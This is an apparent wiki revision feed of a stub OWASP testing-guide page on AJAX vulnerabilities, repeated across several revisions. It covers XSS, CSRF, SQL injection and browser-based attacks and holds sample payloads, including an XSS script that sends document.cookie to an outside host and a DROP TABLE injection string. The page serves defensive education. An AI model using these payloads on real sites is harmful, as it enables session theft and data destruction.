to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11779</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11779"/>
				<updated>2006-11-05T20:11:15Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Recent Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;&lt;br /&gt;
In Samy attack,the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11778</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11778"/>
				<updated>2006-11-05T20:10:35Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Recent Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Recent Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;&lt;br /&gt;
In Samy attack,the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11777</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11777"/>
				<updated>2006-11-05T19:28:14Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Recent Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
